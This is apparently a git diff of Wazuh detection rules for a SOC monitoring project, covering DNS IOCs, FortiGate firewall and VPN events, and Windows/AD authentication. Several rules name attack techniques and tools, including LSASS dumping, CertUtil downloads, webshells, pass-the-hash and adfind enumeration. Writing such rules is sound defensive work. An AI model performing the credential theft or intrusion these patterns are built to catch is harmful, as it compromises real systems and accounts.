-  <rule id="100333" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-03</match><description>A3-03 VPN Authentication Brute Force Success</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
51
-  <rule id="100334" level="5"><if_sid>100210</if_sid><match>usecase_id=A3-04</match><description>A3-04 VPN Authentication Multiple Fail Many Accounts from One Source</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
52
-  <rule id="100335" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-05</match><description>A3-05 VPN Authentication Success from Outside Thailand</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
53
-
54
-  <!-- Appendix A4 (Windows/AD) -->
55
-  <rule id="100341" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-01</match><description>A4-01 Windows Authentication Multiple Fail from Privileged Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
56
-  <rule id="100342" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-02</match><description>A4-02 Windows Authentication Multiple Fail from Service Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
57
-  <rule id="100343" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-03</match><description>A4-03 Windows AD Enumeration with Malicious Tools</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
58
-  <rule id="100344" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-04</match><description>A4-04 Windows Authentication Fail from Public IPs</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
59
-  <rule id="100345" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-05</match><description>A4-05 Windows File Share Enumeration to Single Destination</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
60
-  <rule id="100346" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-06</match><description>A4-06 Windows Authentication Success from Public IPs</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
61
-  <rule id="100347" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-07</match><description>A4-07 Windows Authentication Privileged Account Impersonation</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
62
-  <rule id="100348" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-08</match><description>A4-08 Windows Authentication Successful Pass the Hash RDP</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
63
-  <rule id="100349" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-09</match><description>A4-09 Windows Authentication Success from Guest Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
64
-  <rule id="100350" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-10</match><description>A4-10 Windows Authentication Interactive Logon Success by Service Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
65
-  <rule id="100351" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-11</match><description>A4-11 Windows Account Added to Privileged Custom Group</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
66
-  <rule id="100352" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-12</match><description>A4-12 Windows Account Added to Privileged Group</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
67
-  <rule id="100353" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-13</match><description>A4-13 Windows Domain Configure DSRM Password Reset</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
68
-  <rule id="100354" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-14</match><description>A4-14 Windows Authentication Multiple Fail One Account from Many Sources</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
69
-  <rule id="100355" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-15</match><description>A4-15 Windows Authentication Multiple Fail Many Accounts from One Source</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
70
-  <rule id="100356" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-16</match><description>A4-16 Windows Authentication Multiple Fail from Guest Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
71
-  <rule id="100357" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-17</match><description>A4-17 Windows Authentication Multiple Fail One Account from One Source</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
72
-  <rule id="100358" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-18</match><description>A4-18 Windows Authentication Multiple Interactive Logon Denied</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
73
-  <rule id="100359" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-19</match><description>A4-19 Windows Authentication Password Spray</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
74
-  <rule id="100360" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-20</match><description>A4-20 Windows Authentication Attempt from Disabled Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
75
-  <rule id="100361" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-21</match><description>A4-21 Windows Domain Account Created</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
76
-  <rule id="100362" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-22</match><description>A4-22 Windows Local Account Re Enabled</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
77
-  <rule id="100363" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-23</match><description>A4-23 Windows Local Account Created</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
78
-  <rule id="100364" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-24</match><description>A4-24 Windows Domain Account Re Enabled</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
79
-
80
-  <!-- Appendix B1 (VMware vCenter/ESXi) -->
81
-  <rule id="100401" level="12"><if_sid>100220</if_sid><match>usecase_id=B1-01</match><description>B1-01 vCenter GUI Login Failed 5 Times and Success 1 Time</description><group>soc_mvp_test,appendix_b,b1,vmware,</group></rule>
82
-  <rule id="100402" level="8"><if_sid>100220</if_sid><match>usecase_id=B1-02</match><description>B1-02 ESXi Enable SSH on Hosts</description><group>soc_mvp_test,appendix_b,b1,vmware,</group></rule>
83
-  <rule id="100403" level="12"><if_sid>100220</if_sid><match>usecase_id=B1-03</match><description>B1-03 ESXi SSH Failed 5 Times and Success 1 Time</description><group>soc_mvp_test,appendix_b,b1,vmware,</group></rule>
84
-
85
-  <!-- Appendix B2 (Log monitoring) -->
86
-  <rule id="100411" level="5"><if_sid>100220</if_sid><match>usecase_id=B2-01</match><description>B2-01 Log Monitor Logs Loss Detection</description><group>soc_mvp_test,appendix_b,b2,logmonitor,</group></rule>
87
-
88
-  <!-- Appendix B3 (Windows Sysmon) -->
89
-  <rule id="100421" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-01</match><description>B3-01 Sysmon LSASS Dumping</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
90
-  <rule id="100422" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-02</match><description>B3-02 Sysmon SQL Injection</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
91
-  <rule id="100423" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-03</match><description>B3-03 Sysmon Webshell</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
92
-  <rule id="100424" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-04</match><description>B3-04 Sysmon Uninstall</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
93
-  <rule id="100425" level="12"><if_sid>100220</if_sid><match>usecase_id=B3-05</match><description>B3-05 Sysmon LSASS Dumping by Task Manager</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
94
-  <rule id="100426" level="8"><if_sid>100220</if_sid><match>usecase_id=B3-06</match><description>B3-06 Sysmon CertUtil Download</description><group>soc_mvp_test,appendix_b,b3,sysmon,</group></rule>
95
-
96
-  <!-- Appendix C1 (Impossible travel) -->
97
-  <rule id="100501" level="12"><if_sid>100230</if_sid><match>usecase_id=C1-01</match><description>C1-01 Impossible Travel Detection</description><group>soc_mvp_test,appendix_c,c1,identity,</group></rule>
98
-
99
-  <!-- Appendix C2 (Credential abuse & privilege misuse) -->
100
-  <rule id="100511" level="12"><if_sid>100230</if_sid><match>usecase_id=C2-01</match><description>C2-01 Privileged Account Usage Outside Business Hours</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
101
-  <rule id="100512" level="8"><if_sid>100230</if_sid><match>usecase_id=C2-02</match><description>C2-02 Dormant Account Activation</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
102
-  <rule id="100513" level="12"><if_sid>100230</if_sid><match>usecase_id=C2-03</match><description>C2-03 Service Account Interactive Logon</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
103
-  <rule id="100514" level="12"><if_sid>100230</if_sid><match>usecase_id=C2-04</match><description>C2-04 Rapid Privilege Escalation Followed by Sensitive Access</description><group>soc_mvp_test,appendix_c,c2,identity,</group></rule>
104
-
105
-  <!-- Appendix C3 (Lateral movement & internal recon) -->
106
-  <rule id="100521" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-01</match><description>C3-01 Multiple Authentication Success Across Hosts</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
107
-  <rule id="100522" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-02</match><description>C3-02 SMB/RDP Lateral Burst Pattern</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
108
-  <rule id="100523" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-03</match><description>C3-03 Admin Account Accessing Many Servers Rapidly</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
109
-  <rule id="100524" level="8"><if_sid>100230</if_sid><match>usecase_id=C3-04</match><description>C3-04 Internal Scanning / Enumeration Behavior</description><group>soc_mvp_test,appendix_c,c3,recon,</group></rule>
110
-  <!-- ========================= -->
111
-  <!-- Production profile rules -->
112
-  <!-- ========================= -->
113
-  <!--
114
-    Production profile (second profile):
115
-    - Does not depend on simulation marker fields (soc_mvp_test/usecase_id)
116
-    - Uses source-like patterns that can appear in real logs
117
-    - Rule IDs are separated from simulation profile in 110xxx range
118
-  -->
119
-
120
-  <rule id="110200" level="3">
121
-    <description>SOC MVP production profile enabled</description>
122
-    <group>soc_mvp_prod,baseline,</group>
123
-  </rule>
124
-
125
-  <!-- Appendix A1: DNS / Firewall IOC -->
126
-  <rule id="110301" level="8">
127
-    <decoded_as>soc-dns-ioc</decoded_as>
128
-    <match>event_type=ioc_dns_traffic</match>
129
-    <match>malicious.example</match>
130
-    <description>A1 production: DNS query to malicious domain indicator</description>
131
-    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
132
-  </rule>
133
-  <rule id="110302" level="8">
134
-    <decoded_as>soc-dns-ioc</decoded_as>
135
-    <match>event_type=ioc_domain_match</match>
136
-    <description>A1 production: DNS IOC domain match event</description>
137
-    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
138
-  </rule>
139
-
140
-  <!-- Appendix A2: FortiGate IPS/IDS & Firewall -->
141
-  <rule id="110311" level="12">
142
-    <match>vendor=fortinet</match>
143
-    <match>dstport=3389</match>
144
-    <match>action="accept"</match>
145
-    <description>A2 production: FortiGate allowed RDP traffic detected</description>
146
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
147
-  </rule>
148
-  <rule id="110312" level="12">
149
-    <match>vendor=fortinet</match>
150
-    <match>action="password-change"</match>
151
-    <description>A2 production: FortiGate admin password change</description>
152
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
153
-  </rule>
154
-  <rule id="110313" level="12">
155
-    <match>vendor=fortinet</match>
156
-    <match>action="create-admin"</match>
157
-    <description>A2 production: FortiGate admin account creation</description>
158
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
159
-  </rule>
160
-  <rule id="110314" level="12">
161
-    <match>vendor=fortinet</match>
162
-    <match>action="disable-email-notification"</match>
163
-    <description>A2 production: FortiGate email notification disabled</description>
164
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
165
-  </rule>
166
-  <rule id="110315" level="5">
167
-    <match>vendor=fortinet</match>
168
-    <match>action="download-config"</match>
169
-    <description>A2 production: FortiGate configuration download</description>
170
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
171
-  </rule>
172
-  <rule id="110316" level="8">
173
-    <match>vendor=fortinet</match>
174
-    <match>subtype="ips"</match>
175
-    <match>severity="critical"</match>
176
-    <description>A2 production: FortiGate critical IPS alert</description>
177
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,ips,</group>
178
-  </rule>
179
-  <rule id="110317" level="5">
180
-    <match>vendor=fortinet</match>
181
-    <match>event_type=port_scan</match>
182
-    <description>A2 production: FortiGate port scanning indicator</description>
183
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,recon,</group>
184
-  </rule>
185
-  <rule id="110318" level="8">
186
-    <match>vendor=fortinet</match>
187
-    <match>event_type=ioc_detection</match>
188
-    <description>A2 production: FortiGate IOC detection event</description>
189
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
190
-  </rule>
191
-  <rule id="110320" level="8">
192
-    <match>vendor=fortinet</match>
193
-    <match>event_type=malicious_ip_communication</match>
194
-    <description>A2 production: Communication to malicious IP detected</description>
195
-    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
196
-  </rule>
197
-
198
-  <!-- Appendix A3: FortiGate VPN -->
199
-  <rule id="110331" level="12">
200
-    <match>subtype="vpn"</match>
201
-    <match>success=true</match>
202
-    <match>guest</match>
203
-    <description>A3 production: VPN success by guest account</description>
204
-    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
205
-  </rule>
206
-  <rule id="110333" level="12">
207
-    <match>subtype="vpn"</match>
208
-    <match>event_type=vpn_bruteforce_success</match>
209
-    <description>A3 production: VPN brute-force success indicator</description>
210
-    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
211
-  </rule>
212
-  <rule id="110335" level="12">
213
-    <match>subtype="vpn"</match>
214
-    <match>success=true</match>
215
-    <match>country=</match>
216
-    <description>A3 production: VPN success with country context (geo-anomaly candidate)</description>
217
-    <group>soc_mvp_prod,appendix_a,a3,vpn,geo,</group>
218
-  </rule>
219
-
220
-  <!-- Appendix A4: Windows / Active Directory -->
221
-  <rule id="110341" level="8">
222
-    <match>source=windows</match>
223
-    <match>event_id=4625</match>
224
-    <match>is_admin=true</match>
225
-    <description>A4 production: Privileged account authentication failures</description>
226
-    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
227
-  </rule>
228
-  <rule id="110342" level="8">
229
-    <match>source=windows</match>
230
-    <match>event_id=4625</match>
231
-    <match>is_service=true</match>
232
-    <description>A4 production: Service account authentication failures</description>
233
-    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
234
-  </rule>
235
-  <rule id="110346" level="12">
236
-    <match>source=windows</match>
237
-    <match>event_id=4624</match>
238
-    <match>src_ip=</match>
239
-    <description>A4 production: Windows successful authentication with source IP context</description>
240
-    <group>soc_mvp_prod,appendix_a,a4,windows,auth_success,</group>
241
-  </rule>
242
-  <rule id="110352" level="12">
243
-    <match>source=windows</match>
244
-    <match>event_id=4728</match>
245
-    <match>target_group=</match>
246
-    <description>A4 production: Account added to privileged group (domain scope)</description>
247
-    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
248
-  </rule>
249
-  <rule id="110353" level="12">
250
-    <match>source=windows</match>
251
-    <match>event_id=4732</match>
252
-    <match>target_group=</match>
253
-    <description>A4 production: Account added to privileged group (local scope)</description>
254
-    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
255
-  </rule>
256
-
257
-  <!-- Appendix B1: VMware -->
258
-  <rule id="110401" level="12">
259
-    <decoded_as>soc-vmware-auth</decoded_as>
260
-    <match>event_type=vmware_</match>
261
-    <match>_fail_success</match>
262
-    <description>B1 production: vCenter login burst pattern</description>
263
-    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
264
-  </rule>
265
-  <rule id="110402" level="8">
266
-    <decoded_as>soc-vmware-auth</decoded_as>
267
-    <match>event_type=vmware_esxi_enable_ssh</match>
268
-    <description>B1 production: ESXi SSH enabled</description>
269
-    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
270
-  </rule>
271
-
272
-  <!-- Appendix B2: Log monitoring -->
273
-  <rule id="110411" level="5">
274
-    <decoded_as>soc-log-monitor</decoded_as>
275
-    <match>event_type=log_loss_detection</match>
276
-    <match>missing_stream=</match>
277
-    <description>B2 production: Log loss detection signal</description>
278
-    <group>soc_mvp_prod,appendix_b,b2,logmonitor,</group>
279
-  </rule>
280
-
281
-  <!-- Appendix B3: Sysmon -->
282
-  <rule id="110421" level="12">
283
-    <decoded_as>soc-windows-sysmon</decoded_as>
284
-    <match>target_process=lsass.exe</match>
285
-    <description>B3 production: LSASS dump behavior</description>
286
-    <group>soc_mvp_prod,appendix_b,b3,sysmon,credential_access,</group>
287
-  </rule>
288
-  <rule id="110426" level="8">
289
-    <decoded_as>soc-windows-sysmon</decoded_as>
290
-    <match>process=certutil.exe</match>
291
-    <description>B3 production: CertUtil download pattern</description>
292
-    <group>soc_mvp_prod,appendix_b,b3,sysmon,</group>
293
-  </rule>
294
-
295
-  <!-- Appendix C1-C3: future enhancement (production-prep heuristics) -->
296
-  <rule id="110501" level="12">
297
-    <match>event_type=c1_impossible_travel</match>
298
-    <description>C1 production: Impossible travel correlated event</description>
299
-    <group>soc_mvp_prod,appendix_c,c1,identity,</group>
300
-  </rule>
301
-  <rule id="110511" level="12">
302
-    <match>event_type=c2_credential_abuse</match>
303
-    <description>C2 production: Credential abuse correlated event</description>
304
-    <group>soc_mvp_prod,appendix_c,c2,identity,</group>
305
-  </rule>
306
-  <rule id="110521" level="12">
307
-    <match>event_type=c3_lateral_movement</match>
308
-    <description>C3 production: Lateral movement correlated event</description>
309
-    <group>soc_mvp_prod,appendix_c,c3,lateral_movement,</group>
310
-  </rule>
311 21
 </group>

+ 47 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a1-ioc-rules.xml

@@ -0,0 +1,47 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A1: DNS / Firewall IOC
3
+  Simulation profile rule IDs : 100301-100302
4
+  Production profile rule IDs : 110301-110302
5
+
6
+  Severity mapping:
7
+    Medium → level 8
8
+
9
+  Decoded fields used (soc-mvp-dns):
10
+    status     = event_type  (ioc_dns_traffic | ioc_domain_match)
11
+    srcip      = source IP
12
+    url        = queried domain
13
+    action     = blocked | alert
14
+-->
15
+<group name="soc_mvp,appendix_a,a1,ioc,dns,">
16
+
17
+  <!-- ── Simulation profile (usecase_id markers present) ── -->
18
+
19
+
20
+
21
+  <!-- ── Production profile (field-based matching) ── -->
22
+
23
+  <rule id="110301" level="8">
24
+    <if_sid>100250</if_sid>
25
+    <match>event_type=ioc_dns_traffic</match>
26
+    <description>A1-01 [PROD] DNS query to malicious domain (IOC traffic indicator)</description>
27
+    <group>soc_prod,a1,ioc,</group>
28
+    <mitre>
29
+      <id>T1071.004</id>
30
+    </mitre>
31
+  </rule>
32
+
33
+  <rule id="110302" level="8">
34
+    <if_sid>100250</if_sid>
35
+    <match>event_type=ioc_domain_match</match>
36
+    <description>A1-02 [PROD] DNS IOC domain match from threat intelligence feed</description>
37
+    <group>soc_prod,a1,ioc,</group>
38
+    <mitre>
39
+      <id>T1568</id>
40
+    </mitre>
41
+  </rule>
42
+
43
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
44
+
45
+
46
+
47
+</group>

+ 113 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a2-fortigate-fw-rules.xml

@@ -0,0 +1,113 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A2: FortiGate IPS/IDS & Firewall
3
+  Simulation profile rule IDs : 100311-100320
4
+  Production profile rule IDs : 110311-110320
5
+
6
+  Severity mapping:
7
+    High   → level 12
8
+    Medium → level 8
9
+    Low    → level 5
10
+-->
11
+<group name="soc_mvp,appendix_a,a2,fortigate,">
12
+
13
+  <!-- ── Simulation profile ── -->
14
+
15
+
16
+
17
+
18
+
19
+
20
+
21
+
22
+
23
+
24
+
25
+  <!-- ── Production profile (if_group=fortigate, no soc_mvp_test required) ── -->
26
+
27
+  <rule id="110311" level="12">
28
+    <if_group>fortigate</if_group>
29
+    <match>dstport=3389</match>
30
+    <match>action="accept"</match>
31
+    <description>A2-01 [PROD] FortiGate: RDP (3389) traffic allowed</description>
32
+    <group>soc_prod,a2,rdp,</group>
33
+    <mitre><id>T1021.001</id></mitre>
34
+  </rule>
35
+
36
+  <rule id="110312" level="12">
37
+    <if_group>fortigate</if_group>
38
+    <match>action="password-change"</match>
39
+    <description>A2-02 [PROD] FortiGate: admin account password changed</description>
40
+    <group>soc_prod,a2,admin_change,</group>
41
+    <mitre><id>T1098</id></mitre>
42
+  </rule>
43
+
44
+  <rule id="110313" level="12">
45
+    <if_group>fortigate</if_group>
46
+    <match>action="create-admin"</match>
47
+    <description>A2-03 [PROD] FortiGate: new admin account created</description>
48
+    <group>soc_prod,a2,admin_change,</group>
49
+    <mitre><id>T1136</id></mitre>
50
+  </rule>
51
+
52
+  <rule id="110314" level="12">
53
+    <if_group>fortigate</if_group>
54
+    <match>action="config-change"</match>
55
+    <match>config_value=disable</match>
56
+    <description>A2-04 [PROD] FortiGate: alerting/notification disabled via config change</description>
57
+    <group>soc_prod,a2,defense_evasion,</group>
58
+    <mitre><id>T1562</id></mitre>
59
+  </rule>
60
+
61
+  <rule id="110315" level="5">
62
+    <if_group>fortigate</if_group>
63
+    <match>action="download-config"</match>
64
+    <description>A2-05 [PROD] FortiGate: firewall configuration file downloaded</description>
65
+    <group>soc_prod,a2,config,</group>
66
+    <mitre><id>T1005</id></mitre>
67
+  </rule>
68
+
69
+  <rule id="110316" level="8">
70
+    <if_group>fortigate</if_group>
71
+    <match>subtype="ips"</match>
72
+    <match>attack="Multiple.Critical</match>
73
+    <description>A2-06 [PROD] FortiGate IPS: multiple critical signatures triggered</description>
74
+    <group>soc_prod,a2,ips,</group>
75
+    <mitre><id>T1595</id></mitre>
76
+  </rule>
77
+
78
+  <rule id="110317" level="5">
79
+    <if_group>fortigate</if_group>
80
+    <match>subtype="anomaly"</match>
81
+    <match>attack="TCP.Port.Scan"</match>
82
+    <description>A2-07 [PROD] FortiGate: TCP port scan from external IP</description>
83
+    <group>soc_prod,a2,recon,</group>
84
+    <mitre><id>T1046</id></mitre>
85
+  </rule>
86
+
87
+  <rule id="110318" level="8">
88
+    <if_group>fortigate</if_group>
89
+    <match>subtype="ips"</match>
90
+    <match>ioc_type=ip</match>
91
+    <description>A2-08 [PROD] FortiGate IPS: IOC-based IP indicator detected</description>
92
+    <group>soc_prod,a2,ioc,</group>
93
+    <mitre><id>T1071.001</id></mitre>
94
+  </rule>
95
+
96
+  <rule id="110319" level="8">
97
+    <if_group>fortigate</if_group>
98
+    <match>subtype="anomaly"</match>
99
+    <match>attack="Internal.Port.Scan"</match>
100
+    <description>A2-09 [PROD] FortiGate: internal port scan from private source IP</description>
101
+    <group>soc_prod,a2,recon,</group>
102
+    <mitre><id>T1046</id></mitre>
103
+  </rule>
104
+
105
+  <rule id="110320" level="8">
106
+    <if_group>fortigate</if_group>
107
+    <match>threat_label="known-c2"</match>
108
+    <description>A2-10 [PROD] FortiGate: traffic to known C2/malicious IP allowed</description>
109
+    <group>soc_prod,a2,ioc,c2,</group>
110
+    <mitre><id>T1071.001</id></mitre>
111
+  </rule>
112
+
113
+</group>

+ 66 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a3-fortigate-vpn-rules.xml

@@ -0,0 +1,66 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A3: FortiGate VPN
3
+  Simulation profile rule IDs : 100331-100335
4
+  Production profile rule IDs : 110331-110335
5
+
6
+  Severity mapping:
7
+    High → level 12
8
+    Low  → level 5
9
+-->
10
+<group name="soc_mvp,appendix_a,a3,vpn,fortigate,">
11
+
12
+  <!-- ── Simulation profile ── -->
13
+
14
+
15
+
16
+
17
+
18
+
19
+  <!-- ── Production profile (if_group=fortigate) ── -->
20
+
21
+  <rule id="110331" level="12">
22
+    <if_group>fortigate</if_group>
23
+    <match>action="ssl-login-success"</match>
24
+    <match>user="guest"</match>
25
+    <description>A3-01 [PROD] VPN authentication success by guest account</description>
26
+    <group>soc_prod,a3,vpn_guest,</group>
27
+    <mitre><id>T1078.001</id></mitre>
28
+  </rule>
29
+
30
+  <rule id="110332" level="12">
31
+    <if_group>fortigate</if_group>
32
+    <match>action="ssl-login-success"</match>
33
+    <match>previous_country=</match>
34
+    <description>A3-02 [PROD] VPN success from different country than last login</description>
35
+    <group>soc_prod,a3,vpn_geo,</group>
36
+    <mitre><id>T1078</id></mitre>
37
+  </rule>
38
+
39
+  <rule id="110333" level="12">
40
+    <if_group>fortigate</if_group>
41
+    <match>action="ssl-login-success"</match>
42
+    <match>failed_attempts_before_success=</match>
43
+    <description>A3-03 [PROD] VPN success after multiple prior failures (brute-force indicator)</description>
44
+    <group>soc_prod,a3,vpn_bruteforce,</group>
45
+    <mitre><id>T1110.001</id></mitre>
46
+  </rule>
47
+
48
+  <rule id="110334" level="5">
49
+    <if_group>fortigate</if_group>
50
+    <match>action="ssl-login-fail"</match>
51
+    <match>failed_accounts=</match>
52
+    <description>A3-04 [PROD] VPN multiple account failures from single source IP</description>
53
+    <group>soc_prod,a3,vpn_bruteforce,</group>
54
+    <mitre><id>T1110.003</id></mitre>
55
+  </rule>
56
+
57
+  <rule id="110335" level="12">
58
+    <if_group>fortigate</if_group>
59
+    <match>action="ssl-login-success"</match>
60
+    <match>expected_country=TH</match>
61
+    <description>A3-05 [PROD] VPN authentication success from outside Thailand</description>
62
+    <group>soc_prod,a3,vpn_geo,</group>
63
+    <mitre><id>T1078</id></mitre>
64
+  </rule>
65
+
66
+</group>

+ 168 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a4-windows-ad-rules.xml

@@ -0,0 +1,168 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix A4: Windows / Active Directory
3
+  Simulation profile rule IDs : 100341-100364
4
+  Production profile rule IDs : 110341-110364
5
+
6
+  Production rules use specific built-in Wazuh rule SIDs as parents
7
+  to avoid the N×M rule-tree explosion from if_group=windows:
8
+    60105/60122 → event 4625 (auth failure)
9
+    60106       → event 4624 (auth success / logon)
10
+    60109       → events 4720/4722 (account create/enable)
11
+    60113       → events 4728/4732 (group membership change)
12
+    67027       → event 4688 (new process created)
13
+    60103       → event 4794 (DSRM password set)
14
+-->
15
+<group name="soc_mvp,appendix_a,a4,windows,">
16
+
17
+  <!-- ── Simulation profile ── -->
18
+
19
+
20
+
21
+
22
+
23
+
24
+
25
+
26
+
27
+
28
+
29
+
30
+
31
+
32
+
33
+
34
+
35
+
36
+
37
+
38
+
39
+
40
+
41
+
42
+
43
+  <!-- ── Production profile ──
44
+       Parents are specific built-in Wazuh SIDs (not if_group=windows) to
45
+       avoid N×M rule-tree explosion. Each parent fires for one event ID.
46
+  -->
47
+
48
+  <!-- A4-01/02/19: Auth failures (event 4625)
49
+       Parent: 60105 (4625 base), 60122 (4625 variant) -->
50
+  <rule id="110341" level="8">
51
+    <if_sid>60105, 60122</if_sid>
52
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)admin</field>
53
+    <description>A4-01 [PROD] Windows: privileged account name auth failure (4625)</description>
54
+    <group>soc_prod,a4,auth_fail,</group>
55
+    <mitre><id>T1110.001</id></mitre>
56
+  </rule>
57
+
58
+  <rule id="110342" level="8">
59
+    <if_sid>60105, 60122</if_sid>
60
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)svc|service|\$$</field>
61
+    <description>A4-02 [PROD] Windows: service account auth failure (4625)</description>
62
+    <group>soc_prod,a4,auth_fail,</group>
63
+    <mitre><id>T1110.001</id></mitre>
64
+  </rule>
65
+
66
+  <rule id="110359" level="5">
67
+    <if_sid>60105, 60122</if_sid>
68
+    <description>A4-19 [PROD] Windows: authentication failure (4625)</description>
69
+    <group>soc_prod,a4,spray,</group>
70
+    <mitre><id>T1110.003</id></mitre>
71
+  </rule>
72
+
73
+  <!-- A4-03: AD enumeration via process execution (event 4688)
74
+       Parent: 67027 (new process created) -->
75
+  <rule id="110343" level="8">
76
+    <if_sid>67027</if_sid>
77
+    <field name="win.eventdata.newProcessName" type="pcre2">(?i)adfind\.exe</field>
78
+    <description>A4-03 [PROD] Windows AD: adfind enumeration tool executed (4688)</description>
79
+    <group>soc_prod,a4,ad_enum,</group>
80
+    <mitre><id>T1087.002</id></mitre>
81
+  </rule>
82
+
83
+  <!-- A4-06/07/08/09/10: Auth successes (event 4624)
84
+       Parent: 60106 (logon success) -->
85
+  <rule id="110346" level="12">
86
+    <if_sid>60106</if_sid>
87
+    <field name="win.eventdata.logonType">^10$</field>
88
+    <description>A4-06 [PROD] Windows: remote interactive auth success logon type 10 (4624)</description>
89
+    <group>soc_prod,a4,auth_success,remote,</group>
90
+    <mitre><id>T1021.001</id></mitre>
91
+    <mitre><id>T1078</id></mitre>
92
+  </rule>
93
+
94
+  <rule id="110348" level="12">
95
+    <if_sid>60106</if_sid>
96
+    <field name="win.eventdata.authenticationPackageName">NTLM</field>
97
+    <field name="win.eventdata.logonType">^3$</field>
98
+    <description>A4-08 [PROD] Windows: NTLM network logon type 3 — pass-the-hash indicator (4624)</description>
99
+    <group>soc_prod,a4,pth,</group>
100
+    <mitre><id>T1550.002</id></mitre>
101
+  </rule>
102
+
103
+  <rule id="110349" level="12">
104
+    <if_sid>60106</if_sid>
105
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)^guest$</field>
106
